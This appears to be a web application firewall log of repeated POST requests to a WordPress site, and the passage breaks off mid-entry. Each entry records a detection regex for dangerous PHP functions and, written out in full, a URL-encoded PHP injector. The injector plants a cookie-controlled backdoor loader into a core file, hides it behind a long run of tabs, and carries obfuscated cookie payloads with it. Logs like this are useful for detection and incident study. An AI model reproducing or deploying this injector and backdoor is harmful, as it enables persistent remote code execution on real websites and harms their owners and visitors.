3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nkc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:01","77.65.47.245","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3259\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nsH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:03","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:3259\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\ngu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:05","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-length:3259\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nQe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:07","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/File.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B5%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B23%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24n